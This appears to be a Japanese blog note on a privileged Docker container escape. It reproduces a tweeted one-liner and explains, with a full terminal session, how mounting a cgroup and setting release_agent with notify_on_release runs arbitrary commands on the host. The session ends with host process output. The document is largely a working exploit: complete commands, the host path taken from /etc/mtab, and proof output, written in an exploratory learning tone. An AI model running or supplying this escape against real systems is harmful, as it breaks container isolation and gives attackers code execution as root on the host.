元ネタ : https://twitter.com/_fel1x/status/1151487051986087936
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
— Felix Wilhelm (@_fel1x) July 17, 2019
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
特権( CAP_SYS_ADMIN
)コンテナで cgroup をマウントして release_agent
を使ってホスト側でコマンドを実行する brakeout 。
notify_on_release
が 1
の場合、cgroup にタスクがなくなった時にカーネルが release_agent
ファイルの内容を実行する。
/etc/mtab
にホスト側から見たコンテナのパスがあるので、それを書き込む。cgroup test
のグループ内で /bin/sh
を動かす ( cgorup.procs
に書き込む)。
/bin/sh
が終了した瞬間に発火し、ホスト側で relase_agent
が実行される。
なるほどなー。
$ docker run -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined --rm ubuntu:16.04 bash
root@a57d199ef9a8:/# mkdir /tmp/cgrp
root@a57d199ef9a8:/# mount -t cgroup -o rdma cgroup /tmp/cgrp
root@a57d199ef9a8:/# mkdir /tmp/cgrp/test
root@a57d199ef9a8:/# ls /tmp/cgrp/test/
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
root@a57d199ef9a8:/# echo 1 > /tmp/cgrp/test/notify_on_release
root@a57d199ef9a8:/# cat /etc/mtab
...
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/JAEQ5VOKBFCRJOJGNXTFJXKT2A:/var/lib/docker/overlay2/l/ZKTGAIQECLKEURVKLXX3IAM6RQ:/var/lib/docker/overlay2/l/GUN3F5Y56ILMIY5XBVULYKYABV:/var/lib/docker/overlay2/l/OL5WUA4GVJG5GAIT5RY6RRYTU6:/var/lib/docker/overlay2/l/SHICPUHR3KJ7UPQN7O6MDPRQWP,upperdir=/var/lib/docker/overlay2/b54f03f215a0b3a9f3b8ada256028703b016e8afc25c46c8e63fdbb41635feb3/diff,workdir=/var/lib/docker/overlay2/b54f03f215a0b3a9f3b8ada256028703b016e8afc25c46c8e63fdbb41635feb3/work,index=off,xino=off 0 0
...
root@a57d199ef9a8:/# echo "/var/lib/docker/overlay2/b54f03f215a0b3a9f3b8ada256028703b016e8afc25c46c8e63fdbb41635feb3/diff/cmd" > /tmp/cgrp/release_agent
root@a57d199ef9a8:/# cat <<EOF>/cmd
> #!/bin/sh
> ps aux > /var/lib/docker/overlay2/b54f03f215a0b3a9f3b8ada256028703b016e8afc25c46c8e63fdbb41635feb3/diff/output
> EOF
root@a57d199ef9a8:/# chmod +x /cmd
root@a57d199ef9a8:/# sh -c "echo \$\$ > /tmp/cgrp/test/cgroup.procs"
root@a57d199ef9a8:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 187300 6616 ? Ss Jul16 0:06 /sbin/init
root 2 0.0 0.0 0 0 ? S Jul16 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< Jul16 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< Jul16 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< Jul16 0:03 [kworker/0:0H-events_highpri]
root 8 0.0 0.0 0 0 ? I< Jul16 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S Jul16 0:16 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I Jul16 2:25 [rcu_preempt]
root 11 0.0 0.0 0 0 ? S Jul16 0:32 [rcuc/0]